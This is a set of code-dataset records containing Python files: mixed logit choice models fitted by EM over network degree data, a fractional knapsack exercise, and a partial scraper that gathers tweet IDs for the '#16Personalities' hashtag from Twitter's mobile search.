choices\n are read, or an idenfier for the current model\n max_deg -- the max degree that will be considered (default: 50)\n D -- 2d-array representing choice options\n vvv -- int representing level of debug output [0:none, 1:some, 2:lots]\n\n If data is supplied directly, D is a (n*i)x4 matrix, where each\n choice set has i choices, exactly one of which should be chosen.\n For every example we get the following covariates:\n [choice_id, Y, degree, n_fofs]\n \"\"\"\n self.id = model_id\n self.vvv = vvv\n\n if D is not None:\n self.D = D\n elif '.' in model_id:\n self.D = util.read_data(model_id, max_deg, vvv=vvv)\n else:\n self.exception(\"neither filename nor D are specified..\")\n self.n = len(set(self.D.choice_id)) # number of examples\n self.d = max_deg + 1 # number of degrees considered\n\n # initiate the rest of the parameters\n self.n_it = 0 # number of iterations for optimization\n self.u = [1] # current parameter value\n self.se = [None] # current SE value\n self.bounds = bounds # whether there are bounds for the parameters\n\n def ll(self, u=None, w=None):\n \"\"\"\n Generic log-likelihood function. It computes individual likelihood\n scores for each example using a model-specifc formula, and computes a\n (weighted) sum of their logs.\n \"\"\"\n # if no parameters specified, use the parameters of the object itself\n if u is None:\n u = self.u\n # if no weights specified, default to 1\n if w is None:\n w = np.array([1] * self.n)\n # compute individual likelihood scores\n scores = self.individual_likelihood(u)\n # add tiny smoothing for deg=0 choices\n scores += util.log_smooth\n # return sum\n return -1 * sum(np.log(scores) * w)\n\n def fit(self, w=None):\n \"\"\"\n Fit the model using scipy.optimize.minimize()\n \"\"\"\n # reset number of iterations\n self.n_it = 0\n # helper function to print out intermediate values of the ll function\n def print_iter(x):\n if self.n_it % 10 == 0 and self.vvv > 1:\n self.message(\"i=%3d ll=%.5f\" % (self.n_it, self.ll(x)))\n self.n_it += 1\n # check what method to use\n # use BFGS when there is a gradient, and no bounds, returns a Hessian\n if getattr(self, \"grad\", None) is not None and self.bounds is None:\n if self.vvv > 1:\n self.message(\"fitting with BFGS\")\n res = minimize(lambda x: self.ll(x, w=w), self.u,\n jac=lambda x: self.grad(x, w=w),\n method='BFGS', callback=print_iter,\n options={'gtol': 1e-8})\n # store the standard errors\n H = res.hess_inv\n H = np.diag(np.diagonal(np.linalg.inv(H)))\n self.se = np.diagonal(np.sqrt(np.linalg.inv(H)))\n # else, use L-BFGS-B\n else:\n if self.vvv > 1:\n self.message(\"fitting with L-BFGS-B\")\n res = minimize(lambda x: self.ll(x, w=w), self.u,\n method='L-BFGS-B', callback=print_iter,\n bounds=self.bounds)\n # store the resulting parameters\n self.u = res.x\n if self.vvv > 0:\n self.message(\"parameters after fitting: \" + str(self.u))\n\n def write_params(self):\n \"\"\"\n Write out the estimated parameters as csv.\n Colums are: ['id', 'mode', 'p(k)', 'parameter', 'value', 'se']\n \"\"\"\n if self.id is None:\n self.exception(\"can't write model, as filename not specified.\")\n if '.' not in self.id:\n self.exception(\"model id is not a filename.\")\n # make sure the output folder exists\n folder = '%s/fits/%s' % (util.data_path, self.model_type)\n util.mkdir(folder)\n with open('%s/%s' % (folder, self.id), 'w') as f:\n writer = csv.writer(f)\n # write each degree as a row\n for i in range(len(self.u)):\n row = [self.id,\n self.model_type,\n 1,\n i,\n self.u[i],\n self.se[i]]\n writer.writerow(row)\n if self.vvv:\n self.message(\"wrote model to file\")\n\n def message(self, s):\n \"\"\"\n Generic message wrapper.\n \"\"\"\n print(\"[%s] %s\" % (self.id, s))\n\n def exception(self, s):\n \"\"\"\n Generic exception wrapper.\n \"\"\"\n raise Exception(\"[%s] %s\" % (self.id, s))\n\n\nclass MixedLogitModel(LogitModel):\n \"\"\"\n This class represents a generic mixed logit model. It has similar\n functionality as LogitModel, but the individual logits that the mixed model\n is composed of have to be added manually.\n\n The constituent models are represented by the following shortcuts:\n l = log logit\n px = x-degree poly logit\n d = degree logit\n \"\"\"\n def __init__(self, model_id, max_deg=50, D=None, vvv=0):\n \"\"\"\n Constructor for a MixedLogitModel object. It inherits from LogitModel,\n but is also composed of LogitModel modes. Like LogitModel, the data can\n be provided directly, or it can be read in from file.\n\n Keyword arguments:\n\n model_id -- model_id can be either the file name from where the choices\n are read, or an idenfier for the current model\n max_deg -- the max degree that will be considered (default: 50)\n D -- 2d-array representing choice options\n vvv -- int representing level of debug output [0:none, 1:some, 2:lots]\n \"\"\"\n LogitModel.__init__(self, model_id, max_deg=max_deg, D=D, vvv=vvv)\n self.model_type = 'mixed_logit'\n self.max_deg = max_deg\n self.vvv = vvv\n self.models = [] # list of models\n self.pk = {} # class probabilities\n self.model_short = ''\n\n def add_uniform_model(self):\n \"\"\"\n Add a uniform degree logit model to the list of models.\n \"\"\"\n self.models += [UniformModel(self.id, D=self.D, max_deg=self.max_deg)]\n self.model_short += 'u'\n\n def add_degree_model(self):\n \"\"\"\n Add a degree logit model to the list of models.\n \"\"\"\n self.models += [DegreeModel(self.id, D=self.D, max_deg=self.max_deg)]\n self.model_short += 'dd'\n\n def add_log_degree_model(self, bounds=None):\n \"\"\"\n Add a log degree logit model to the list of models.\n \"\"\"\n self.models += [LogDegreeModel(self.id, D=self.D, max_deg=self.max_deg, bounds=bounds)]\n self.model_short += 'ld'\n\n def add_poly_degree_model(self, k=2, bounds=None):\n \"\"\"\n Add a poly degree logit model to the list of models.\n \"\"\"\n self.models += [PolyDegreeModel(self.id, D=self.D, k=k, max_deg=self.max_deg, bounds=bounds)]\n self.model_short += 'pd%d' % k\n\n def add_uniform_fof_model(self):\n \"\"\"\n Add a uniform fof logit model to the list of models.\n \"\"\"\n self.models += [UniformFofModel(self.id, D=self.D, max_deg=self.max_deg)]\n self.model_short += 'uf'\n\n def add_log_degree_fof_model(self, bounds=None):\n \"\"\"\n Add a log degree fof logit model to the list of models.\n \"\"\"\n self.models += [LogDegreeFoFModel(self.id, D=self.D, max_deg=self.max_deg, bounds=bounds)]\n self.model_short += 'ldf'\n\n def add_log_fof_model(self, bounds=None):\n \"\"\"\n Add a log degree logit model to the list of models.\n \"\"\"\n self.models += [LogFofModel(self.id, D=self.D, max_deg=self.max_deg, bounds=bounds)]\n self.model_short += 'lf'\n\n def ll(self):\n \"\"\"\n Compute log-likelihood for the mixture-model.\n LL = sum_i log ( sum_k p_ik * p_k)\n \"\"\"\n ms = self.models # shorthand\n K = len(ms)\n # initiate class probabilities if not already\n if len(self.pk) == 0:\n self.pk = {k: 1.0 / K for k in range(K)}\n probs = [0] * self.n\n for k in range(len(ms)):\n # compute sum of weighted probabilities for individual examples\n probs += ms[k].individual_likelihood(ms[k].u) * self.pk[k]\n # compute total log likelihood\n return -1 * np.sum(np.log(probs + util.log_smooth))\n\n def fit(self, n_rounds=20, etol=0.1, return_stats=False):\n \"\"\"\n Fit the mixed model using a version of EM.\n\n Keyword arguments:\n\n n_rounds -- maximum number of iterations before the process stops\n etol -- minimum delta in total likelihood before the process stops\n return_stats -- return a pandas DataFrame with stats for every round\n \"\"\"\n ms = self.models # shorthand\n K = len(ms) # number of classes\n T = []\n if K < 1:\n self.exception(\"not enough models specified for mixed model\")\n # initate class probabilities\n self.pk = {k: 1.0 / K for k in range(K)}\n # store current total log-likelihood\n gamma = {k: [self.pk[k]] * self.n for k in range(K)}\n prev_ll = np.sum([ms[k].ll(w=gamma[k]) for k in range(K)])\n # run EM n_rounds times\n for i in range(n_rounds):\n # 1) Expectation - find class responsibilities given weights\n # compute probabilities for individual examples\n probs = {k: ms[k].individual_likelihood(ms[k].u) for k in range(K)}\n # compute numerator (for each individual, the sum of likelihoods)\n num = [np.sum([self.pk[k] * probs[k][j] for k in range(K)]) for j in range(self.n)]\n # compute responsibilities by normalizing w total class probability\n gamma = {k: (self.pk[k] * probs[k]) / num for k in range(K)}\n # 2) Maximization - find optimal coefficients given current weights\n for k in range(K):\n # update average class responsibilities\n self.pk[k] = np.mean(gamma[k])\n # actually run the optimizer for current class\n ms[k].fit(w=gamma[k])\n # compute the total mixture's likelihood\n ll = self.ll()\n # gather stats for this round\n stats = [i]\n for k in range(K):\n stats += [self.pk[k], ms[k].u[0]]\n stats.append(ll)\n T.append(stats)\n # optionally print round info\n if self.vvv and i % 10 == 0:\n msg = \"[%s/%3d]\" % (\"%3d\", n_rounds)\n for k in range(1, K + 1):\n msg += \" (%s) pi_%d=%s u_%d=%s\" % \\\n (ms[k-1].model_short, k, \"%.3f\", k, \"%.2f\")\n msg += \" (*) tot_ll=%.4f\"\n self.message(msg % tuple(stats))\n # compute current total likelihood\n delta = prev_ll - ll\n # stop if little difference\n if self.vvv and delta < etol:\n self.message(\"delta in ll (%.3f) < etol (%.3f), stopping\" % (delta, etol))\n break\n # store new ll\n prev_ll = ll\n # print final results\n if self.vvv:\n self.message(\"u's = [%s]\" % ', '.join(['(%s:%.3f)' %\n (ms[k].model_short, ms[k].u[0]) for k in range(K)]))\n self.message(\"pi's = [%s]\" % ', '.join(['(%s:%.3f)' %\n (ms[k].model_short, self.pk[k]) for k in range(K)]))\n # return the iteration stats\n if return_stats:\n # construct header\n header = ['i']\n for k in range(1, K + 1):\n header += ['p%d' % k, 'u%d' % k]\n header += ['tot_ll']\n return pd.DataFrame(T, columns=header)\n\n def write_params(self):\n \"\"\"\n Write out the estimated parameters as csv.\n Colums are: ['id', 'mode', 'p(k)', 'parameter', 'value', 'se']\n \"\"\"\n if self.id is None:\n self.exception(\"can't write model, as filename not specified.\")\n if '.' not in self.id:\n self.exception(\"model id is not a filename.\")\n # make sure the output folder exists\n folder = '%s/fits/%s' % (data_path, self.model_type)\n mkdir(folder)\n # construct the output file handle\n fn = self.make_fn()\n with open('%s/%s' % (folder, fn), 'w') as f:\n writer = csv.writer(f)\n # write each model\n for k in range(len(self.models)):\n # grab model\n m = self.models[k]\n # write each degree as a row\n for i in range(len(m.u)):\n row = [fn,\n m.model_type,\n \"%.3f\" % self.pk[k],\n i,\n m.u[i],\n m.se[i]]\n writer.writerow(row)\n if self.vvv:\n self.message(\"wrote model to file\")\n\n def make_fn(self):\n \"\"\"\n Construct a filename, including contituent model shorts.\n \"\"\"\n fn = self.id.replace('.csv', '')\n fn = '%s-%s.csv' % (fn, self.model_short)\n return fn\n\n\n\nclass UniformModel(LogitModel):\n \"\"\"\n This class represents a uniform logit model.\n There are no parameters.\n \"\"\"\n def __init__(self, model_id, max_deg=50, D=None, vvv=False):\n \"\"\"\n Constructor inherits from LogitModel.\n \"\"\"\n LogitModel.__init__(self, model_id, max_deg=max_deg, bounds=((1, 1), ), D=D, vvv=vvv)\n self.model_type = 'uniform'\n self.model_short = 'u'\n\n def individual_likelihood(self, u):\n \"\"\"\n Individual likelihood function of the uniform logit model.\n Computes the likelihood for every data point (choice) separately.\n\n L(alpha, (x,C)) = 1 / |C|\n\n Contrary to the non-uniform models, we can actually compute the exact\n individual likelihood based on the total number of samples, as the\n individual likelihood for every unpicked choices is the same.\n \"\"\"\n counts = self.D.groupby('choice_id')['y'].aggregate(len)\n return np.array(1.0 / counts)\n\n def grad(self, u=None, w=None):\n \"\"\"\n Placeholder gradient function of the uniform fof logit model.\n Since there are no parameters, it always returns 0.\n \"\"\"\n return np.array([0])\n\n\nclass DegreeModel(LogitModel):\n \"\"\"\n This class represents a multinomial logit model, with a\n distinct coefficient beta_i for each individual degree i.\n \"\"\"\n def __init__(self, model_id, max_deg=50, D=None, vvv=False):\n \"\"\"\n Constructor inherits from LogitModel.\n \"\"\"\n LogitModel.__init__(self, model_id, D=D, max_deg=max_deg, vvv=vvv)\n self.model_type = 'degree'\n self.model_short = 'dd'\n self.u = [1] * self.d # current parameter values\n self.se = [None] * self.d # current SE values\n\n def individual_likelihood(self, u):\n \"\"\"\n Individual likelihood function of the degree logit model.\n Computes the likelihood for every data point (choice) separately.\n\n L(theta, (x,C)) = exp(theta_{k_x}) / sum_{y in C} exp(theta_{k_y})\n \"\"\"\n # assign exponentiated utilities to all cases\n self.D['score'] = np.exp(u)[self.D.deg]\n # compute total utility per case\n score_tot = self.D.groupby('choice_id')['score'].aggregate(np.sum)\n # compute probabilities of choices\n return np.array(self.D.loc[self.D.y == 1, 'score']) / np.array(score_tot)\n\n def grad(self, u=None, w=None):\n \"\"\"\n Gradient function of the degree logit model.\n\n grad_d(theta, D) = sum_{(x,C) in D} [ 1{k_x = d} -\n (sum_{y in C} 1{k_y = d}*exp(theta_k_y)) /\n (sum_{y in C} exp(theta_k_y))\n ]\n \"\"\"\n # if no parameters specified, use the parameters of the object itself\n if u is None:\n u = self.u\n # if no weights specified, default to 1\n if w is None:\n w = np.array([1] * self.n)\n # assign weights to choice sets\n W = pd.DataFrame(data={'choice_id': self.D.choice_id.unique(), 'w': w})\n # assign utilities to all cases\n self.D['score'] = np.exp(u)[self.D.deg]\n # compute total utility per case\n self.D['score_tot'] = self.D.groupby('choice_id')['score'].transform(np.sum)\n # compute probabilities\n self.D['prob'] = self.D['score'] / self.D['score_tot']\n # adjust probabilities based on whether they were chosen\n self.D.loc[self.D.y == 1, 'prob'] -= 1\n # join in weights\n Dt = self.D.merge(W, on='choice_id', how='inner')\n # weight probabilities\n Dt['prob'] *= Dt['w']\n # sum over degrees to get gradient\n Dt = Dt.groupby('deg')['prob'].aggregate(np.sum)\n # join with degree vector to take care of zeros\n Dd = pd.Series([0]*self.d, index=np.arange(self.d))\n return Dd.to_frame().join(Dt.to_frame()).prob.fillna(0)\n\n\nclass PolyDegreeModel(LogitModel):\n \"\"\"\n This class represents a multinomial logit model, with a\n polynomial transformatin of degree: u[i] = sum_d ( i^d * theta[d] )\n \"\"\"\n def __init__(self, model_id, max_deg=50, bounds=None, D=None, vvv=False, k=2):\n \"\"\"\n Constructor inherits from LogitModel.\n \"\"\"\n LogitModel.__init__(self, model_id, bounds=bounds, max_deg=max_deg, D=D, vvv=vvv)\n self.model_type = 'poly_degree'\n self.model_short = 'p%dd' % k\n self.u = [1] * k # current parameter values\n self.se = [None] * k # current SE values\n\n def individual_likelihood(self, u):\n \"\"\"\n Individual likelihood function of the polynomial logit model.\n Computes the likelihood for every data point (choice) separately.\n\n L(theta, (x,C)) = exp(sum_d theta_d*k_x^d) /\n sum_{y in C} exp(sum_d theta_d*k_y^d))\n\n However, with k > 2, exp(x^d) gives overflow issues,\n so we use a version of the log-sum-exp trick:\n\n exp(x) / sum(exp(ys)) = exp(x - max(ys) - log(sum(exp(ys - max(ys)))))\n\n TODO - can rewrite simpler using sp.misc.logsumexp?\n \"\"\"\n # raise degree to power\n powers = np.power(np.array([self.D.deg] * len(u)).T, np.arange(len(u)))\n # weight powers by coefficients\n self.D['score'] = np.sum(powers * u, axis=1)\n # compute max score per choice set\n self.D['max_score'] = self.D.groupby('choice_id')['score'].transform(np.max)\n # compute exp of adjusted score\n self.D['score_adj'] = np.exp(self.D.score - self.D.max_score)\n # compute total utility per case\n score_tot = np.log(self.D.groupby('choice_id')['score_adj'].aggregate(np.sum))\n # retrieve max utility (max)\n score_max = self.D.groupby('choice_id')['score'].aggregate(np.max)\n # combine log-sum-exp components\n return np.array(np.exp(np.array(self.D.loc[self.D.y == 1, 'score']) - score_max - score_tot))\n\n def grad(self, u=None, w=None):\n \"\"\"\n Gradient function of the polynomial logit model.\n\n grad(theta_d, D) = sum_{(x,C) in D} [ k_x^d -\n (sum_{y in C} k_y^d*exp(sum_d theta_d*k_y^d)) /\n (sum_{y in C} exp(sum_d theta_d*k_y^d))\n ]\n\n TODO - implement exp overflow solution from individual_likelihood()\n \"\"\"\n # if no parameters specified, use the parameters of the object itself\n if u is None:\n u = self.u\n # if no weights specified, default to 1\n if w is None:\n w = np.array([1] * self.n)\n # raise degree to power\n powers = np.power(np.array([self.D.deg] * len(u)).T, np.arange(len(u)))\n # weight powers by coefficients, exp sum for score\n self.D['score'] = np.exp(np.sum(powers * u, axis=1))\n # initialize empty gradient vector to append to\n grad = np.array([])\n # compute each k-specific gradient separately\n for k in range(len(u)):\n # take degree^k for chosen examples\n choices = self.D.loc[self.D.y == 1, 'deg'] ** k\n # compute 'numerator score'\n self.D['nscore'] = self.D['score'] * (self.D.deg ** k)\n # compute numerator\n num = self.D.groupby('choice_id')['nscore'].aggregate(np.sum)\n # compute denominator\n denom = self.D.groupby('choice_id')['score'].aggregate(np.sum)\n # weight probabilities, add to grad matrix\n grad = np.append(grad, np.sum(w * (np.array(choices) - num/denom)))\n return -1 * grad\n\n\nclass LogDegreeModel(LogitModel):\n \"\"\"\n This class represents a multinomial logit model, with a\n log transformation over degrees. The model has 1 parameter.\n \"\"\"\n def __init__(self, model_id, max_deg=50, bounds=None, D=None, vvv=False):\n \"\"\"\n Constructor inherits from LogitModel.\n \"\"\"\n LogitModel.__init__(self, model_id, max_deg=max_deg, bounds=bounds, D=D, vvv=vvv)\n self.model_type = 'log_degree'\n self.model_short = 'ld'\n self.D['log_degree'] = np.log(self.D.deg + util.log_smooth) # pre-log degree\n\n def individual_likelihood(self, u):\n \"\"\"\n Individual likelihood function of the log logit model.\n Computes the likelihood for every data point (choice) separately.\n\n L(alpha, (x,C)) = exp(alpha * log(k_x)) / sum_{y in C} exp(alpha * log(k_y))\n \"\"\"\n # transform degree to score\n self.D['score'] = np.exp(u * np.log(self.D.deg + util.log_smooth))\n # compute total utility per case\n score_tot = self.D.groupby('choice_id')['score'].aggregate(np.sum)\n # compute probabilities of choices\n return np.array(self.D.loc[self.D.y == 1, 'score']) / np.array(score_tot)\n\n def grad(self, u=None, w=None):\n \"\"\"\n Gradient function of log logit model.\n\n grad(alpha, D) = sum_{(x,C) in D} [ alpha*ln(k_x) -\n (sum_{y in C} ln(k_y)*exp(alpha*ln(k_y))) /\n (sum_{y in C} exp(alpha*ln(k_y)))\n ]\n \"\"\"\n # if no parameters specified, use the parameters of the object itself\n if u is None:\n u = self.u\n # if no weights specified, default to 1\n if w is None:\n w = np.array([1] * self.n)\n # transform degree to score\n self.D['score'] = np.exp(u * self.D['log_degree'])\n # take log_degree for chosen examples\n choices = self.D.loc[self.D.y == 1, 'log_degree']\n # compute 'numerator score'\n self.D['nscore'] = self.D['score'] * self.D['log_degree']\n # compute numerator\n num = self.D.groupby('choice_id')['nscore'].aggregate(np.sum)\n # compute denominator\n denom = self.D.groupby('choice_id')['score'].aggregate(np.sum)\n # weight probabilities\n return np.array([-1 * np.sum(w * (np.array(choices) - num/denom))])\n\n\nclass UniformFofModel(LogitModel):\n \"\"\"\n This class represents a uniform logit model with only friends of friends\n in the choice set. There are no parameters.\n \"\"\"\n def __init__(self, model_id, max_deg=50, D=None, vvv=False):\n \"\"\"\n Constructor inherits from LogitModel.\n \"\"\"\n LogitModel.__init__(self, model_id, max_deg=max_deg, bounds=((1, 1), ), D=D, vvv=vvv)\n self.model_type = 'uniform_fof'\n self.model_short = 'uf'\n # pre-compute variables\n self.D['has'] = self.D.fof > 0 # has any FoF choices\n self.D['choose'] = 1 * (self.D['has'] & self.D.y == 1) # chose an FoF node\n\n def individual_likelihood(self, u):\n \"\"\"\n Individual likelihood function of the uniform fof logit model.\n Computes the likelihood for every data point (choice) separately.\n\n L(alpha, (x,C)) = 1{x fof} / | #fof| if |#fof| > 0 else 1 / |C|\n\n Contrary to the non-uniform models, we can actually compute the exact\n individual likelihood based on the total number of samples, as the\n individual likelihood for every unpicked choices is the same.\n \"\"\"\n # pre-group\n DFg = self.D.groupby('choice_id', as_index=False).agg(\n {'has': {'n': len, 'n_fof': np.sum}, 'choose': {'y': max}})\n return np.where(DFg.has.n_fof, DFg.choose.y / DFg.has.n_fof, 1.0 / DFg.has.n)\n\n def grad(self, u=None, w=None):\n \"\"\"\n Placeholder gradient function of the uniform fof logit model.\n Since there are no parameters, it always returns 0.\n \"\"\"\n return np.array([0])\n\n\nclass LogDegreeFoFModel(LogitModel):\n \"\"\"\n This class represents a multinomial logit model, with a\n log transformation over degrees, but with only friends of friends\n in the choice set. The model has 1 parameter.\n \"\"\"\n def __init__(self, model_id, max_deg=50, bounds=None, D=None, vvv=False):\n \"\"\"\n Constructor inherits from LogitModel.\n \"\"\"\n LogitModel.__init__(self, model_id, max_deg=max_deg, bounds=bounds, D=D, vvv=vvv)\n self.model_type = 'log_degree_fof'\n self.model_short = 'ldf'\n self.bounds = bounds # bound the parameter\n # pre-compute variables\n self.D['has'] = self.D.fof > 0 # has any FoF choices\n self.D['choose'] = 1 * (self.D['has'] & self.D.y == 1) # chose an FoF node\n self.D['log_degree'] = np.log(self.D.deg + util.log_smooth) # pre-log degree\n DFg = self.D.groupby('choice_id', as_index=False).agg({'has': {'n_fof': np.sum}})\n self.elig = DFg.has.n_fof # number of eligible FoFs\n\n def individual_likelihood(self, u):\n \"\"\"\n Individual likelihood function of the log logit model, for FoFs only.\n Computes the likelihood for every data point (choice) separately.\n This likelihood computation is quite involved, as it is a mix between\n the log degree model (in that it has alpha as a PA parameter),\n and the uniform fof model (in that it considers FoFs only).\n If there are not eligible FoFs, it considers all other nodes.\n \"\"\"\n # 1) compute log degree scores for full choice set\n # transform degree to score\n self.D['score'] = np.exp(u * np.log(self.D.deg + util.log_smooth))\n # compute total utility per case\n score_tot = self.D.groupby('choice_id')['score'].aggregate(np.sum)\n # compute probabilities of choices\n scores_all = np.array(self.D.loc[self.D.y == 1, 'score']) / np.array(score_tot)\n # 2) compute log degree scores for FoFs only\n # set non-FoF scores to 0\n self.D['score'] = np.where(self.D['fof'] == 0, 0, self.D['score'])\n # compute total utility per case\n score_tot = self.D.groupby('choice_id')['score'].aggregate(np.sum)\n # compute probabilities of choices\n scores_fof = np.array(self.D.loc[self.D.y == 1, 'score']) / np.array(score_tot)\n # 3) actually construct the outcome vector, depending on the choice set\n return np.where(self.elig, scores_fof, scores_all)\n\n def grad(self, u=None, w=None):\n \"\"\"\n Gradient function of log logit model, for FoFs only.\n Like the likelihood function, it mixes the gradients for \n the log degree model (in that it has alpha as a PA parameter),\n and the uniform fof model (in that it considers FoFs only).\n If there are not eligible FoFs, it considers all other nodes.\n \"\"\"\n # if no parameters specified, use the parameters of the object itself\n if u is None:\n u = self.u\n # if no weights specified, default to 1\n if w is None:\n w = np.array([1] * self.n)\n\n # 1) construct the gradients as if it was a regular log-degree model\n # transform degree to score\n self.D['score'] = np.exp(u * self.D['log_degree'])\n # take log_degree for chosen examples\n choices = self.D.loc[self.D.y == 1, 'log_degree']\n # compute 'numerator score'\n self.D['nscore'] = self.D['score'] * self.D['log_degree']\n # compute numerator\n num = self.D.groupby('choice_id')['nscore'].aggregate(np.sum)\n # compute denominator\n denom = self.D.groupby('choice_id')['score'].aggregate(np.sum)\n grads_all = np.array(choices) - num/denom\n\n # 2) construct the gradients for FoF choices only\n # set non-FoF scores to 0\n self.D['score'] = np.where(self.D['fof'] == 0, 0, self.D['score'])\n # compute 'numerator score'\n self.D['nscore'] = self.D['score'] * self.D['log_degree']\n # compute numerator\n num = self.D.groupby('choice_id')['nscore'].aggregate(np.sum)\n # compute denominator\n denom = self.D.groupby('choice_id')['score'].aggregate(np.sum)\n grads_fof = np.array(choices) - num/denom\n\n # actually construct the individual gradient vector, depending on the choice set,\n # and weight the samples\n return np.array([-1 * np.sum(w * np.where(self.elig, grads_fof, grads_all))])\n\n\nclass LogFofModel(LogitModel):\n \"\"\"\n This class represents a multinomial logit model, with a\n log transformation over number of friends of friends.\n The model has 1 parameter.\n If there are no FoF's in the choice set, it looks like a uniform model\n TODO - the same constructor and data reading functions are used, which\n user a filter with max_deg. Perhaps should consider adding a\n parameter for max_fof. Maybe not necessary as we're not fitting\n a FofLogitModel\n \"\"\"\n def __init__(self, model_id, max_deg=50, bounds=None, D=None, vvv=False):\n \"\"\"\n Constructor inherits from LogitModel.\n \"\"\"\n LogitModel.__init__(self, model_id, D=D, bounds=bounds, max_deg=max_deg, vvv=vvv)\n self.model_type = 'log_fof'\n self.model_short = 'lf'\n self.bounds = bounds # bound the parameter\n self.D.loc[:,'log_fof'] = np.log(self.D.fof + util.log_smooth) # pre-log fof\n\n def individual_likelihood(self, u):\n \"\"\"\n Individual likelihood function of the log logit model.\n Computes the likelihood for every data point (choice) separately.\n\n L(alpha, (x,C)) = exp(alpha * log(k_x)) / sum_{y in C} exp(alpha * log(k_y))\n \"\"\"\n # transform fof to score\n self.D['score'] = np.exp(u * self.D['log_fof'])\n # compute total utility per case\n score_tot = self.D.groupby('choice_id')['score'].aggregate(np.sum)\n # compute probabilities of choices\n return np.array(self.D.loc[self.D.y == 1, 'score']) / np.array(score_tot)\n\n def grad(self, u=None, w=None):\n \"\"\"\n Gradient function of log logit model.\n\n grad(alpha, D) = sum_{(x,C) in D} [ alpha*ln(k_x) -\n (sum_{y in C} ln(k_y)*exp(alpha*ln(k_y))) /\n (sum_{y in C} exp(alpha*ln(k_y)))\n ]\n \"\"\"\n # if no parameters specified, use the parameters of the object itself\n if u is None:\n u = self.u\n # if no weights specified, default to 1\n if w is None:\n w = np.array([1] * self.n)\n # transform fof to score\n self.D['score'] = np.exp(u * self.D['log_fof'])\n # take log_fof for chosen examples\n choices = self.D.loc[self.D.y == 1, 'fof']\n # compute 'numerator score'\n self.D['nscore'] = self.D['score'] * self.D['fof']\n # compute numerator\n num = self.D.groupby('choice_id')['nscore'].aggregate(np.sum)\n # compute denominator\n denom = self.D.groupby('choice_id')['score'].aggregate(np.sum)\n # weight probabilities\n return np.array([-1 * np.sum(w * (np.array(choices) - num/denom))])\n","sub_path":"src/logit.py","file_name":"logit.py","file_ext":"py","file_size_in_byte":32770,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"533474959","text":"#!/usr/bin/env python\n\nfrom typing import List\n\n\ndef fractional_knapsack(max_total_weight: int, weights_values: List[list]):\n \"\"\"\n There are N items of certain weight and value each.\n The task is to put such amount of each items in a\n bag that would maximize the value of the bag.\n The bag can only hold a limited amount of weight.\n \"\"\"\n amounts = [0] * len(weights_values)\n total_value = 0\n\n for _ in range(len(weights_values)):\n if max_total_weight == 0:\n return amounts, total_value\n\n items2choose = [item for item in weights_values if item[0] > 0]\n\n max_unit_value = 0\n choice, choice_idx = None, 0\n for idx, (weight, value) in enumerate(items2choose):\n unit_value = value / float(weight)\n if unit_value > max_unit_value:\n max_unit_value = unit_value\n choice = weight, value\n choice_idx = idx\n\n amount = min([max_total_weight, choice[0]])\n total_value += amount * (choice[1] / choice[0])\n amounts[choice_idx] += amount\n max_total_weight -= amount\n items2choose[choice_idx][0] -= amount\n\n return total_value, amounts\n\n\n# test\nif __name__ == \"__main__\":\n max_total_weight = 7\n\n items = [\n [4, 20],\n [3, 18],\n [2, 14]\n ]\n\n total_value, amounts = fractional_knapsack(max_total_weight, items)\n\n print('correct: {}, actual: {}'.format(40, total_value))\n\n\n\n","sub_path":"Algorithmic Warm Up/fractional_knapsack.py","file_name":"fractional_knapsack.py","file_ext":"py","file_size_in_byte":1468,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"304262534","text":"#-*-coding:utf-8-*-\n#Twitterの\"#16Personalities\"の検索結果のツイートのdata-idを取得\n\nimport urllib.request\nfrom bs4 import BeautifulSoup\nimport random\nimport time\nimport os\n\nWRITE_DIR = \"../Data/01.16pid/\"\nif os.path.exists(WRITE_DIR) == False:\n os.makedirs(WRITE_DIR)\nWRITE_FILE_PREFIX = \"scraiping_\"\n\nyear = 2018\nfirstmonth = 7\nlastmonth = 9\nlang = \"ja\"\n\n#urlからsoupの作成\ndef makesoup(url):\n html = urllib.request.urlopen(url).read()\n soup = BeautifulSoup(html, 'html.parser')\n return soup\n\n#soup(TwitterTL)からdataidのリストを出力する関数\ndef dataid(soup):\n dataidlist = []\n for div in soup.find_all('div'):\n if isinstance(div.get('data-id'), str) == True:\n dataidlist.append(div.get('data-id'))\n return dataidlist\n\n#soup(TwitterTL)からurlを取得する関数\ndef nexturl(soup):\n for a in soup.find_all('a'):\n temp = \"\"\n if isinstance(a.get('href'), str) == True:\n temp = a.get('href')\n if ((temp.find(\"16Personalities\") != -1) & (temp.find(\"next_cursor\") != -1)):\n url = \"https://mobile.twitter.com\"+temp\n return url\n\n#月の最終日を求める関数\ndef ym2lastday(year, month):\n if month == 1 or month == 3 or month == 5 or month == 7 or month == 8 or month == 10 or month == 12:\n lastday = 31\n elif month == 4 or month == 6 or month == 9 or month == 11:\n lastday = 30\n elif month == 2:\n if year % 4 == 0:\n lastday = 29 \n else:\n lastday = 28\n return lastday\n\n#main関数\ndef bsoup(write_file_prefix, year, first_month, last_month, lang):\n\n for month in range(first_month, lastmonth + 1):#月毎の繰り返し\n writefile = write_file_prefix+str(year)+str(month).zfill(2)+\".txt\"\n with open(writefile, \"w\") as fwrite:\n lastday = ym2lastday(year, month)\n for day in range(1, lastday + 1):#日付毎の繰り返し\n starthourlist = [\"00\", \"06\", \"12\", \"18\"]\n lasthourlist = [\"05\", \"11\", \"17\", \"23\"]\n for hour in range(4):#時間毎の繰り返し\n url = \"https://mobile.twitter.com/search?q=%2316Personalities%20lang%3Aja%20since%3A2017-01-01_00:00:00_JST%20until%3A2017-01-01_23:59:59_JST&src=typed_query&f=live\"\n url = url[:64]+str(lang)+url[66:77]+str(year)+url[81:82]+str(month).zfill(2)+url[84:85]+str(day).zfill(2)+url[87:88]+starthourlist[hour]+url[90:111]+str(year)+url[115:116]+str(month).zfill(2)+url[118:119]+str(day).zfill(2)+url[121:122]+lasthourlist[hour]+url[124:]\n print(url)\n while True:#URLの繰り返し\n try:\n soup = makesoup(url)\n iddatalist = dataid(soup)\n for iddata in iddatalist:\n fwrite.write(str(iddata)+\"\\n\")\n url = nexturl(soup)\n time.sleep(random.randint(1,5))\n except:\n break\n time.sleep(random.randint(10,30))\n time.sleep(random.randint(10,30))\n \nif __name__ == '__main__':\n\n bsoup(WRITE_DIR+WRITE_FILE_PREFIX, year, firstmonth, lastmonth, 